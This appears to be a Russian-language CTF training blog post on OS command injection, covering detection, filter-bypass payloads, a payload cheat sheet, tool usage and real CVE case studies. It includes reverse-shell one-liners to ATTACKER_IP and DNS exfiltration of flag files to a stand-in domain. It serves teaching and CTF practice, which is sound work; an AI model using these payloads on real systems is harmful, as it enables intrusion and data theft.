Главная / Блог / Command Injection в CTF: находим и эксплуатируем

12 мин.00

Command Injection в CTF: находим и эксплуатируем

Command Injection в CTF: находим и эксплуатируем

На одном из последних CTF таск с формой конвертации PDF фильтровал ;, |, && — типичный blacklist на три символа. Решение нашлось за 12 минут: конструкция $(cat /flag.txt) в поле filename прошла без единого срабатывания фильтра. Этот паттерн — неполный список запрещённых символов, CWE-184 (Incomplete List of Disallowed Inputs) — встречается в каждом втором CTF-таске с command injection уязвимостью. Русскоязычные разборы показывают финальный payload, но не процесс: как определить точку инъекции, перебрать разделители при фильтрации и вытащить данные, когда ответ не приходит. Ниже — полный workflow от первого запроса до RCE.

OS command injection: механика уязвимости

Command injection уязвимость — CWE-78, Improper Neutralization of Special Elements used in an OS Command — возникает, когда приложение передаёт пользовательский ввод в системную команду без нейтрализации спецсимволов. По классификации MITRE CWE-78 стабильно входит в Top 25 опасных программных слабостей, а в OWASP Top 10:2021 вся категория Injection (A03:2021) сидит на третьем месте. Подробнее — в нашем подробном разборе создание ctf заданий.

Отличие от code injection — принципиальное. При code injection атакующий вставляет код на языке приложения (PHP, Python), который выполняется интерпретатором. При OS command injection команды уходят напрямую в оболочку ОС — bash, sh, cmd.exe. По данным OWASP, при command injection атакующий расширяет дефолтные возможности приложения для выполнения системных команд без необходимости внедрять свой код. Последствия серьёзнее: доступ не ограничен рамками приложения, атакующий оперирует на уровне ОС с привилегиями процесса. Процесс от root — атакующий получает root. Всё просто.

MITRE выделяет два подтипа. Первый — Direct (Command Separator Injection): приложение выполняет фиксированную команду, пользовательский ввод подставляется как аргумент, атакующий вставляет разделитель и дописывает свою команду. Второй — Indirect (Full Command Control): пользователь контролирует, какая именно программа запускается. В CTF почти всегда первый подтип.

Зачем это атакующему в реальном мире

В CTF мотивация — забрать флаг. В реальных атаках command injection — этап Exploit Public-Facing Application (T1190, Initial Access по MITRE ATT&CK). Дальше цепочка стандартная: выполнение команд через Unix Shell (T1059.004) или Windows Command Shell (T1059.003), закрепление через Web Shell (T1505.003), эксфильтрация данных, латеральное движение по сети. Монетизация: от ransomware и кражи учёток до продажи доступа к инфраструктуре на форумах. Одна незакрытая форма пинга — и вся сеть скомпрометирована. Именно поэтому CISA в своём Secure by Design Alert называет OS command injection уязвимостью, которую можно полностью предотвратить на этапе разработки.

Операторы внедрения команд ОС: полная таблица

Ключ к эксплуатации command injection — знание метасимволов, которые shell интерпретирует как управляющие. Вот исчерпывающая таблица:

Оператор Linux Windows Поведение
; Да Нет Выполняет команды последовательно, независимо от результата
\| Да Да Пайп: stdout первой → stdin второй
\|\| Да Да Выполняет вторую только при ошибке первой (OR)
& Да Да Первая в фоне, вторая сразу
&& Да Да Вторая только при успехе первой (AND)
\n (0x0a) Да Нет Newline — разделитель команд в Unix
`cmd` Да Нет Inline execution: результат вложенной команды подставляется в строку
$(cmd) Да Нет Inline execution: аналог обратных кавычек, поддерживает вложенность

Момент, на котором горят в CTF: обратные кавычки и $() — не разделители, а механизм подстановки. Они выполняют вложенную команду и подставляют её вывод прямо в аргумент основной. Разработчики блокируют ;, |, &, но про $() и backticks забывают регулярно. По данным PortSwigger, метасимволы ведут себя по-разному в зависимости от контекста — одни позволяют видеть вывод (in-band), другие годятся только для blind-эксплуатации.

Ещё нюанс: если ввод попадает внутрь кавычек в исходной команде (серверный код вида ping "$input"), нужно сначала закрыть кавычку. Payload "; whoami; # закрывает двойную кавычку, выполняет whoami, а # комментирует остаток строки.

Поиск command injection в веб-приложениях CTF

Где искать точку инъекции

В CTF-тасках command injection прячется в любом месте, где бэкенд вызывает системную утилиту:

  • Формы пинга/трейсроута — классика, поле для IP-адреса
  • Конвертация файлов — PDF, изображения (вызов ffmpeg, ImageMagick, wkhtmltopdf)
  • DNS-утилиты — nslookup, dig, whois
  • Бэкап/архивирование — tar, zip с пользовательскими именами файлов
  • Поиск по файлам — grep, find через веб-интерфейс
  • Отправка email — вызов mail/sendmail с параметрами из формы

Правило: если в интерфейсе видишь что-то, что на бэкенде логичнее реализовать вызовом CLI-утилиты — тестируй. Особенно опасны os.system() в Python, system() в PHP/C, exec() в PHP, shell_exec() в PHP — все они передают строку в shell как есть.

Отдельно про Java: Runtime.exec — это НЕ аналог C system(). Runtime.exec не вызывает shell, а напрямую запускает программу, поэтому метасимволы ; | & && не интерпретируются. Если таск на Java — ищи другой вектор. Документация OWASP это подтверждает.

Пошаговый workflow обнаружения

Шаг 1: отправляю легитимный запрос, фиксирую нормальный ответ и время отклика. Если в ответе виден вывод системной команды (результат ping, содержимое файла) — потенциальная точка.

Шаг 2: пробую базовые разделители по одному: ; id, | id, & id, && id, || id. Если фильтрации нет, один из них сработает и в ответе появится uid.

Шаг 3: если вывод не приходит — blind-тест: ; sleep 5 ; или | ping -c 5 127.0.0.1 |. Задержка ответа на 5 секунд подтверждает инъекцию.

Шаг 4: если стандартные разделители заблокированы — пробую $(id), обратные кавычки, %0a (URL-encoded newline), CRLF (%0d%0a).

Эксплуатация command injection: от discovery до RCE

Полезные команды после подтверждения

Когда инъекция подтверждена, первый набор команд зависит от ОС. Задача — собрать информацию (MITRE ATT&CK T1082, System Information Discovery) и найти флаг (T1083, File and Directory Discovery):

Задача Linux Windows
Текущий пользователь whoami whoami
Информация об ОС uname -a ver
Сетевая конфигурация ifconfig / ip a ipconfig /all
Список файлов ls -la dir
Чтение файла cat /etc/passwd type C:\windows\win.ini
Поиск файла find / -name "flag*" dir /s flag*

В CTF обычно нужно прочитать /flag.txt, /home/ctf/flag или что-то похожее. Быстрый payload: ; cat /flag* или $(cat /flag.txt).

Получение reverse shell через command injection

Если таск требует полноценного интерактивного доступа — следующий шаг reverse shell. На стороне атакующего заранее запускаем nc -lvnp 4444. Самые надёжные однострочники:

# Bash (если доступен /dev/tcp)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Netcat через mkfifo (работает без флага -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

Если bash-вариант не работает (sh вместо bash, /dev/tcp недоступен), альтернативы через Python, PHP или Perl — выбор зависит от того, что стоит в контейнере. В Docker-окружениях CTF часто нет nc с флагом -e, поэтому вариант через mkfifo надёжнее.

Когда reverse shell невозможен из-за сетевых ограничений (контейнер без outbound-доступа), используйте redirect вывода: ; cat /flag.txt > /var/www/html/out.txt и забирайте файл через браузер. Типичные пути к document root: /var/www/html/, /var/www/static/, /app/public/.

Blind command injection: три техники для CTF

Blind command injection — ситуация, когда вывод команды не возвращается в HTTP-ответе. По данным PortSwigger, это большинство реальных случаев OS command injection. В CTF blind-таски сложнее, но решаются тремя техниками.

Time-based detection

Инжектим команду с измеримой задержкой. Базовый подход: & sleep 5 & или & ping -c 10 127.0.0.1 &. Если ответ сервера приходит через 5–10 секунд вместо обычных 200мс — инъекция подтверждена.

Для посимвольной эксфильтрации: if [ $(cut -c1 /flag.txt) = "f" ]; then sleep 3; fi. Перебираем каждый символ — медленно, но работает, когда других вариантов нет. Такой себе brute по одному байту, зато гарантированный.

На Windows: & timeout /t 5 & или | ping -n 10 127.0.0.1 |.

Redirect вывода в доступную директорию

Если есть запись в document root: & whoami > /var/www/static/out.txt &. Затем забираем https://target.ctf/static/out.txt. Проблема — нужно угадать путь к веб-директории. В CTF пробуйте стандартные варианты или ловите ошибку приложения, которая иногда раскрывает абсолютный путь (stack trace — ваш друг).

Out-of-Band через DNS-эксфильтрацию

Когда нет доступа к файловой системе и time-based слишком медленный — DNS-эксфильтрация:

nslookup $(whoami).YOUR_DOMAIN.com
# Для содержимого файла через base64:
nslookup $(cat /flag.txt | base64).YOUR_DOMAIN.com

На своём DNS-сервере или через interactsh/Burp Collaborator видим запрос к www-data.YOUR_DOMAIN.com — результат whoami. Base64 нужен, чтобы спецсимволы не сломали DNS-запрос. Техника мощная: DNS-трафик обычно не блокируется файрволом, и payload работает даже в жёстко ограниченных окружениях.

Обход фильтров command injection

Вот тут начинается настоящий CTF. Организаторы редко оставляют инъекцию без фильтров — было бы слишком просто.

Обход фильтрации пробелов

Когда пробел заблокирован, заменяем его:

  • ${IFS} — Internal Field Separator, по умолчанию пробел: cat${IFS}/etc/passwd
  • {cmd,arg} — brace expansion: {cat,/etc/passwd}
  • $IFS$9 — переменная $9 пуста, но заставляет shell интерпретировать IFS: cat$IFS$9/etc/passwd
  • < — input redirection: cat</etc/passwd
  • Tab (%09 в URL): cat%09/etc/passwd

Обход фильтрации ключевых слов

Если фильтруются слова cat, ls, whoami, passwd:

  • Конкатенация через пустые кавычки: c'a't /etc/passwd — bash корректно обрабатывает пустые кавычки внутри слова
  • Переменные: a=c;b=at;$a$b /etc/passwd
  • Wildcard: /bin/c?t /etc/passwd — ? заменяет один символ
  • Обратный слеш: c\at /etc/passwd
  • Base64 + eval: echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
  • Альтернативные утилиты: вместо cat — tac, head, tail, less, more, nl, xxd

Эти техники прямо маппируются на MITRE ATT&CK T1027.010 (Command Obfuscation). В реальных атаках обфускация используется для обхода WAF и EDR — так что навык из CTF переносится один в один.

Обход фильтрации разделителей

Когда заблокированы все стандартные разделители (;, |, &):

  • Newline (%0a в URL-encoded) — самый частый miss фильтров, потому что проверяют только печатные символы
  • $() и обратные кавычки — формально не разделители, но выполняют вложенную команду
  • CRLF (%0d%0a) — особенно для Windows-бэкендов. Именно этот вектор использовался в CVE-2023-29084 (Zoho ManageEngine ADManager Plus до версии 7181, CWE-77, CVSS 7.2 HIGH): по данным Fastly, функция экранирования CommonUtil.getPowerShellEscapedValue обрабатывала стандартные метасимволы, но пропускала CRLF, что позволяло внедрить произвольную команду. EPSS-скор этой CVE — 0.98, Top 1% по вероятности эксплуатации

Кодирование и двойное кодирование

Если WAF работает на уровне необработанного URL:

  • URL encoding: ; → %3b, | → %7c
  • Double encoding: ; → %253b (если декодирование происходит дважды)
  • Unicode normalization: ; (fullwidth semicolon U+FF1B) — некоторые бэкенды нормализуют в обычный ;

По данным OWASP, даже встроенная PHP-функция escapeshellcmd() не спасает: она предотвращает выполнение дополнительных команд, но всё ещё допускает argument injection — атакующий может внедрить флаги вроде --output-document= для записи файлов без использования разделителей вообще. Подход «запретить опасное» вместо «разрешить безопасное» — это CWE-184 в чистом виде.

Реальные CVE с command injection: разбор для CTF

CTF-таски часто моделируют реальные уязвимости. Вот кейсы, подтверждающие что OS command injection — не учебная тема, а активно эксплуатируемый вектор.

Nagios XI: три CVE из одного паттерна

Nagios XI версии xi-5.7.5 содержал три уязвимости OS command injection из-за неполной санитизации пользовательского ввода:

  • CVE-2021-25296 (CVSS 8.8, HIGH) — инъекция в windowswmi.inc.php
  • CVE-2021-25297 (CVSS 8.8, HIGH, CWE-78) — инъекция в switch.inc.php
  • CVE-2021-25298 (CVSS 8.8, HIGH, CWE-78) — инъекция в cloud-vm.inc.php

Вектор CVSS у всех трёх идентичен: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — сетевой доступ, низкие привилегии, полный импакт на конфиденциальность и целостность. CISA добавила все три в каталог Known Exploited Vulnerabilities 18 января 2022 года. SSVC-решение — Act (патчить немедленно). EPSS-скоры экстремальные: 0.72 для CVE-2021-25296 и 0.74 для CVE-2021-25298 — оба в Top 1% по вероятности эксплуатации.

Для автоматизированного сканирования существуют Nuclei-шаблоны CVE-2021-25296.yaml и CVE-2021-25297.yaml в официальном репозитории ProjectDiscovery. По данным Fastly, эти CVE можно было чейнить: начав с низкопривилегированного аккаунта, через цепочку инъекций получить полный контроль.

Паттерн для CTF: разработчики копируют уязвимый код между модулями. Нашёл инъекцию в одном параметре — проверь все аналогичные эндпоинты. Копипаста — лучший друг атакующего.

Cisco NX-OS: CVE-2024-20399

CVE-2024-20399 — command injection в CLI Cisco NX-OS (CWE-78, CVSS 6.0, MEDIUM). Вектор: AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N — требует локального доступа и привилегий администратора, что объясняет умеренный CVSS. Но CISA добавила CVE в KEV-каталог 2 июля 2024 года, SSVC-решение — Act, а по данным inthewild.io уязвимость эксплуатировалась с того же дня. По данным SentinelOne, этот кейс показывает, что CVSS-скоры не отражают полной картины риска — оперативный контекст и критичность сетевого оборудования перевешивают цифру в балле.

ManageEngine ADManager Plus: CVE-2023-29084

CVE-2023-29084 (CWE-77, CVSS 7.2, HIGH) — command injection через Proxy settings в Zoho ManageEngine ADManager Plus до версии 7181. Поучительный кейс: разработчики реализовали функцию экранирования, но пропустили один класс метасимволов (CRLF). Один пробел в blacklist — и защита бесполезна.

Payload для command injection: чит-шит

Базовые payload для первичного тестирования

Payload Когда использовать
; id Первый тест, нет фильтрации
\| id Пайп, работает на Linux и Windows
& id & Фоновое выполнение, универсальный тест
$(id) Разделители заблокированы, Linux
`id` Backtick, альтернатива $()
%0aid Newline в URL-параметре
%0d%0aid CRLF, Windows-бэкенды

Payload с обходом фильтров

Фильтр Payload
Пробел cat${IFS}/flag.txt
cat c\at /flag.txt или tac /flag.txt
Слеш / cat ${HOME:0:1}flag.txt
Все буквенные $(printf '\x63\x61\x74') /flag.txt
Разделители + пробел {cat,/flag.txt}
Кавычки в исходном cmd "; id; #

Инструменты автоматизации

commix — специализированный инструмент для автоматического обнаружения и эксплуатации OS command injection. Поддерживает result-based, blind time-based и OOB-техники. Запуск: commix --url="http://target/ping?ip=INJECT" --batch — перебирает все известные payload автоматически. На простых тасках экономит время, но на тасках с кастомными фильтрами всё равно придётся руками.

ffuf — для фаззинга параметров на предмет инъекции. Фильтрация по размеру ответа: ffuf -w params.txt -u "http://target/api?FUZZ=;id" -fs 0 помогает найти параметр, который принимает нестандартный ввод.

В Burp Suite Repeater удобно вручную подставлять payload в параметр и анализировать raw-ответ. Intruder — для перебора списка payload при подборе обхода конкретного фильтра.

Из опыта решения web-тасков: большинство CTF-команд тратят непропорционально мало времени на этап discovery и слишком много — на подбор payload. 80% провалов происходят не потому, что не знаешь правильный разделитель, а потому что не нашёл правильный параметр. Конвертация файлов, генерация отчётов, бэкап — всё это зоны, где бэкенд с высокой вероятностью вызывает системную утилиту. Начинающие игроки проверяют только очевидное текстовое поле на главной и упускают HTTP-заголовки, cookie и скрытые API-эндпоинты.

Другая системная ошибка — фиксация на ;. Организаторы давно перестали оставлять точку с запятой незаблокированной. Первое, что стоит пробовать — $() и %0a. Эти конструкции проходят большинство самописных фильтров, потому что разработчики мыслят в терминах «запретить опасные символы» вместо «разрешить только безопасные». CWE-184 — это не абстрактный номер, а описание ментальной модели, из-за которой blacklist-защита стабильно ломается.

Command injection — не «уязвимость из 2005 года». CVE-2021-25296/97/98 в Nagios XI, CVE-2024-20399 в Cisco NX-OS, CVE-2023-29084 в ManageEngine — все обнаружены и эксплуатировались в реальных атаках, все добавлены в CISA KEV. Это живой, активно используемый вектор. Если хочешь не просто решать CTF-таски, а довести навык до OSCP-уровня — на WAPT эту цепочку разбирают в лабах с ментором в чате.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Nmap для начинающих: от скана до флага в CTF

14 мин.

7

Nmap для начинающих: от скана до флага в CTF

Пошаговый workflow Nmap для CTF: типы сканов, чтение вывода, NSE-скрипты и 7 ошибок новичков. Реальные примеры, чек-лист и готовые команды.

27 ОКТЯБРЬ, 2026

SUID и sudo: privilege escalation в Linux-лабах

11 мин.

4

SUID и sudo: privilege escalation в Linux-лабах

Пошаговая эксплуатация SUID-бинарников и sudo misconfiguration — энумерация, GTFOBins, PATH hijacking, LD_PRELOAD и детект через Sigma-правила

26 ОКТЯБРЬ, 2026

Reverse engineering для начинающих: .NET и Java

12 мин.

7

Reverse engineering для начинающих: .NET и Java

Два полных разбора crackme — C# через dnSpy и Java через JD-GUI. Пошаговый walkthrough от открытия файла до флага для первого опыта в реверсе

26 ОКТЯБРЬ, 2026